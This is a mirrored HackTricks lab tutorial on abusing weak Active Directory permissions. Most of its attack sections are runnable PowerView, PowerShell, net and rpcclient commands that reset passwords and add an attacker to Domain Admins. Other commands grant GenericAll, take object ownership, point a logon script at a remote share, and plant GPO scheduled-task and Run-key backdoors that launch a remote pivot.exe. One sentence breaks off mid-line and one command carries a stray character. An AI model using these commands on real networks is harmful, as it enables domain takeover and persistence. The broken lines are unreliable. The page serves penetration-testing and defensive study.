mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
514 lines
22 KiB
Markdown
514 lines
22 KiB
Markdown
# Abusing Active Directory ACLs/ACEs
|
||
|
||
## Abusing Active Directory ACLs/ACEs
|
||
|
||
<details>
|
||
|
||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
||
</details>
|
||
|
||
**This information was copied from** [**https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **because it's just perfect**
|
||
|
||
## Context
|
||
|
||
This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
|
||
|
||
Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
|
||
|
||
An example of ACEs for the "Domain Admins" securable object can be seen here:
|
||
|
||
![](../../.gitbook/assets/1.png)
|
||
|
||
Some of the Active Directory object permissions and types that we as attackers are interested in:
|
||
|
||
* **GenericAll** - full rights to the object (add users to a group or reset user's password)
|
||
* **GenericWrite** - update object's attributes (i.e logon script)
|
||
* **WriteOwner** - change object owner to attacker controlled user take over the object
|
||
* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
|
||
* **AllExtendedRights** - ability to add user to a group or reset password
|
||
* **ForceChangePassword** - ability to change user's password
|
||
* **Self (Self-Membership)** - ability to add yourself to a group
|
||
|
||
In this lab, we are going to explore and try to exploit most of the above ACEs.
|
||
|
||
## GenericAll on User
|
||
|
||
Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`:
|
||
|
||
```csharp
|
||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
|
||
```
|
||
|
||
We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account:
|
||
|
||
![](../../.gitbook/assets/2.png)
|
||
|
||
* **Change password**: You could just change the password of that user with 
|
||
|
||
```bash
|
||
net user <username> <password> /domain
|
||
```
|
||
* **Targeted Kerberoasting**: You could make the user **kerberoastable** setting an **SPN** on the account, kerberoast it and attempt to crack offline: 
|
||
|
||
```powershell
|
||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||
```
|
||
* **Targeted ASREPRoasting**: You could make the user **ASREPRoastable** by **disabling** **preauthentication** and then ASREProast it.
|
||
|
||
```powershell
|
||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||
```
|
||
|
||
## GenericAll on Group
|
||
|
||
Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`:
|
||
|
||
```csharp
|
||
Get-NetGroup "domain admins" -FullData
|
||
```
|
||
|
||
![](../../.gitbook/assets/4.png)
|
||
|
||
```csharp
|
||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
|
||
```
|
||
|
||
We can see that our attacking user `spotless` has `GenericAll` rights once again:
|
||
|
||
![](../../.gitbook/assets/5.png)
|
||
|
||
Effectively, this allows us to add ourselves (the user `spotless`) to the `Domain Admin` group:
|
||
|
||
```csharp
|
||
net group "domain admins" spotless /add /domain
|
||
```
|
||
|
||
![](../../.gitbook/assets/6.gif)
|
||
|
||
Same could be achieved with Active Directory or PowerSploit module:
|
||
|
||
```csharp
|
||
# with active directory module
|
||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||
|
||
# with Powersploit
|
||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||
```
|
||
|
||
## GenericAll / GenericWrite / Write on Computer
|
||
|
||
* If you have these privileges on a Computer object, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over](resource-based-constrained-delegation.md) off.
|
||
* If you have these privs over a user, you
|
||
|
||
## WriteProperty on Group
|
||
|
||
If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group:
|
||
|
||
![](../../.gitbook/assets/7.png)
|
||
|
||
We can again add ourselves to the `Domain Admins` group and escalate privileges:
|
||
|
||
```csharp
|
||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||
```
|
||
|
||
![](../../.gitbook/assets/8.png)
|
||
|
||
## Self (Self-Membership) on Group
|
||
|
||
Another privilege that enables the attacker adding themselves to a group:
|
||
|
||
![](../../.gitbook/assets/9.png)
|
||
|
||
```csharp
|
||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||
```
|
||
|
||
![](../../.gitbook/assets/10.png)
|
||
|
||
## WriteProperty (Self-Membership)
|
||
|
||
One more privilege that enables the attacker adding themselves to a group:
|
||
|
||
```csharp
|
||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||
```
|
||
|
||
![](../../.gitbook/assets/11.png)
|
||
|
||
```csharp
|
||
net group "domain admins" spotless /add /domain
|
||
```
|
||
|
||
![](../../.gitbook/assets/12.png)
|
||
|
||
## **ForceChangePassword**
|
||
|
||
If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password:
|
||
|
||
```csharp
|
||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||
```
|
||
|
||
![](../../.gitbook/assets/13.png)
|
||
|
||
Doing the same with powerview:
|
||
|
||
```csharp
|
||
Set-DomainUserPassword -Identity delegate -Verbose
|
||
```
|
||
|
||
![](../../.gitbook/assets/14.png)
|
||
|
||
Another method that does not require fiddling with password-secure-string conversion:
|
||
|
||
```csharp
|
||
$c = Get-Credential
|
||
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
|
||
```
|
||
|
||
![](../../.gitbook/assets/15.png)
|
||
|
||
...or a one liner if no interactive session is not available:
|
||
|
||
```csharp
|
||
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||
```
|
||
|
||
![](../../.gitbook/assets/16.png)
|
||
|
||
and one last way yo achieve this from linux:
|
||
|
||
```markup
|
||
rpcclient -U KnownUsername 10.10.10.192
|
||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||
```
|
||
|
||
More info:
|
||
|
||
* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/)
|
||
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN)
|
||
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c)
|
||
|
||
## WriteOwner on Group
|
||
|
||
Note how before the attack the owner of `Domain Admins` is `Domain Admins`:
|
||
|
||
![](../../.gitbook/assets/17.png)
|
||
|
||
After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All`
|
||
|
||
```csharp
|
||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||
```
|
||
|
||
![](../../.gitbook/assets/18.png)
|
||
|
||
...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group:
|
||
|
||
```csharp
|
||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||
//You can also use the name instad of the SID (HTB: Reel)
|
||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||
```
|
||
|
||
![](../../.gitbook/assets/19.png)
|
||
|
||
## GenericWrite on User
|
||
|
||
```csharp
|
||
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||
```
|
||
|
||
![](../../.gitbook/assets/20.png)
|
||
|
||
`WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script:
|
||
|
||
```csharp
|
||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||
```
|
||
|
||
Below shows the user's ~~`delegate`~~ logon script field got updated in the AD:
|
||
|
||
![](../../.gitbook/assets/21.png)
|
||
|
||
## WriteDACL + WriteOwner
|
||
|
||
If you are the owner of a group, like I'm the owner of a `Test` AD group:
|
||
|
||
![](../../.gitbook/assets/22.png)
|
||
|
||
Which you can of course do through powershell:
|
||
|
||
```csharp
|
||
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
|
||
```
|
||
|
||
![](../../.gitbook/assets/23.png)
|
||
|
||
And you have a `WriteDACL` on that AD object:
|
||
|
||
![](../../.gitbook/assets/24.png)
|
||
|
||
...you can give yourself [`GenericAll`](../../windows/active-directory-methodology/broken-reference/) privileges with a sprinkle of ADSI sorcery:
|
||
|
||
```csharp
|
||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
|
||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||
$ADSI.psbase.commitchanges()
|
||
```
|
||
|
||
Which means you now fully control the AD object:
|
||
|
||
![](../../.gitbook/assets/25.png)
|
||
|
||
This effectively means that you can now add new users to the group.
|
||
|
||
Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets:
|
||
|
||
```csharp
|
||
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
|
||
$acl = Get-Acl -Path $path
|
||
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
|
||
$acl.AddAccessRule($ace)
|
||
Set-Acl -Path $path -AclObject $acl
|
||
```
|
||
|
||
![](../../.gitbook/assets/26.png)
|
||
|
||
## **Replication on the domain (DCSync)**
|
||
|
||
The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.\
|
||
[**Learn more about the DCSync attack here.**](dcsync.md)
|
||
|
||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||
|
||
Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user:
|
||
|
||
![](../../.gitbook/assets/a13.png)
|
||
|
||
We can see this by leveraging PowerView like so:
|
||
|
||
```bash
|
||
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||
```
|
||
|
||
The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse:
|
||
|
||
![](../../.gitbook/assets/a14.png)
|
||
|
||
### Enumerate GPO Permissions <a href="#abusing-the-gpo-permissions" id="abusing-the-gpo-permissions"></a>
|
||
|
||
We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below:
|
||
|
||
![](../../.gitbook/assets/a15.png)
|
||
|
||
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
|
||
|
||
```powershell
|
||
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||
```
|
||
|
||
![](../../.gitbook/assets/a16.png)
|
||
|
||
**Computers with a Given Policy Applied**
|
||
|
||
We can now resolve the computer names the GPO `Misconfigured Policy` is applied to:
|
||
|
||
```powershell
|
||
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
|
||
```
|
||
|
||
![](../../.gitbook/assets/a17.png)
|
||
|
||
**Policies Applied to a Given Computer**
|
||
|
||
```powershell
|
||
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
|
||
```
|
||
|
||
![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBOmSsNrObOboiT2E%2FScreenshot%20from%202019-01-16%2019-44-19.png?alt=media\&token=34332022-c1fc-4f97-a7e9-e0e4d98fa8a5)
|
||
|
||
**OUs with a Given Policy Applied**
|
||
|
||
```powershell
|
||
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
|
||
```
|
||
|
||
![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBtLT332kTVDzd5qV%2FScreenshot%20from%202019-01-16%2019-46-33.png?alt=media\&token=ec90fdc0-e0dc-4db0-8279-cde4720df598)
|
||
|
||
### **Abuse GPO -** [New-GPOImmediateTask](https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1)
|
||
|
||
One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
|
||
|
||
```powershell
|
||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||
```
|
||
|
||
![](../../.gitbook/assets/a19.png)
|
||
|
||
The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`:
|
||
|
||
![](../../.gitbook/assets/a20.png)
|
||
|
||
###  GroupPolicy module **- Abuse GPO**
|
||
|
||
{% hint style="info" %}
|
||
You can check to see if the GroupPolicy module is installed with `Get-Module -List -Name GroupPolicy | select -expand ExportedCommands`. In a pinch, you can install it with `Install-WindowsFeature –Name GPMC` as a local admin.
|
||
{% endhint %}
|
||
|
||
```powershell
|
||
# Create new GPO and link it with the OU Workstrations
|
||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
|
||
## Search a shared folder where you can write and all the computers affected can read
|
||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||
```
|
||
|
||
This payload, after the GPO is updated, will need also someone to login inside the computer.
|
||
|
||
### [**SharpGPOAbuse**](https://github.com/FSecureLABS/SharpGPOAbuse) **- Abuse GPO**
|
||
|
||
{% hint style="info" %}
|
||
It cannot create GPOs, so we must still do that with RSAT or modify one we already have write access to.
|
||
{% endhint %}
|
||
|
||
```bash
|
||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||
```
|
||
|
||
### Force Policy Update <a href="#force-policy-update" id="force-policy-update"></a>
|
||
|
||
The previous abusive **GPO updates are reloaded** roughly each 90 minutes.\
|
||
if you have access to the computer you can force it with `gpupdate /force` .
|
||
|
||
### Under the hood <a href="#under-the-hood" id="under-the-hood"></a>
|
||
|
||
If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there:
|
||
|
||
![](../../.gitbook/assets/a22.png)
|
||
|
||
Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO:
|
||
|
||
{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
|
||
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
|
||
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
|
||
<Task version="1.3">
|
||
<RegistrationInfo>
|
||
<Author>NT AUTHORITY\System</Author>
|
||
<Description></Description>
|
||
</RegistrationInfo>
|
||
<Principals>
|
||
<Principal id="Author">
|
||
<UserId>NT AUTHORITY\System</UserId>
|
||
<RunLevel>HighestAvailable</RunLevel>
|
||
<LogonType>S4U</LogonType>
|
||
</Principal>
|
||
</Principals>
|
||
<Settings>
|
||
<IdleSettings>
|
||
<Duration>PT10M</Duration>
|
||
<WaitTimeout>PT1H</WaitTimeout>
|
||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||
<RestartOnIdle>false</RestartOnIdle>
|
||
</IdleSettings>
|
||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
|
||
<AllowHardTerminate>false</AllowHardTerminate>
|
||
<StartWhenAvailable>true</StartWhenAvailable>
|
||
<AllowStartOnDemand>false</AllowStartOnDemand>
|
||
<Enabled>true</Enabled>
|
||
<Hidden>true</Hidden>
|
||
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
|
||
<Priority>7</Priority>
|
||
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
|
||
<RestartOnFailure>
|
||
<Interval>PT15M</Interval>
|
||
<Count>3</Count>
|
||
</RestartOnFailure>
|
||
</Settings>
|
||
<Actions Context="Author">
|
||
<Exec>
|
||
<Command>cmd</Command>
|
||
<Arguments>/c net localgroup administrators spotless /add</Arguments>
|
||
</Exec>
|
||
</Actions>
|
||
<Triggers>
|
||
<TimeTrigger>
|
||
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
|
||
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
|
||
<Enabled>true</Enabled>
|
||
</TimeTrigger>
|
||
</Triggers>
|
||
</Task>
|
||
</Properties>
|
||
</ImmediateTaskV2>
|
||
</ScheduledTasks>
|
||
```
|
||
{% endcode %}
|
||
|
||
### Users and Groups <a href="#users-and-groups" id="users-and-groups"></a>
|
||
|
||
The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`:
|
||
|
||
{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
|
||
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
|
||
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
|
||
<Members>
|
||
<Member name="spotless" action="ADD" sid="" />
|
||
</Members>
|
||
</Properties>
|
||
</Group>
|
||
</Groups>
|
||
```
|
||
{% endcode %}
|
||
|
||
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
|
||
|
||
## References
|
||
|
||
{% embed url="https://wald0.com/?p=112" %}
|
||
|
||
{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2" %}
|
||
|
||
{% embed url="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/" %}
|
||
|
||
{% embed url="https://adsecurity.org/?p=3658" %}
|
||
|
||
{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
||
</details>
|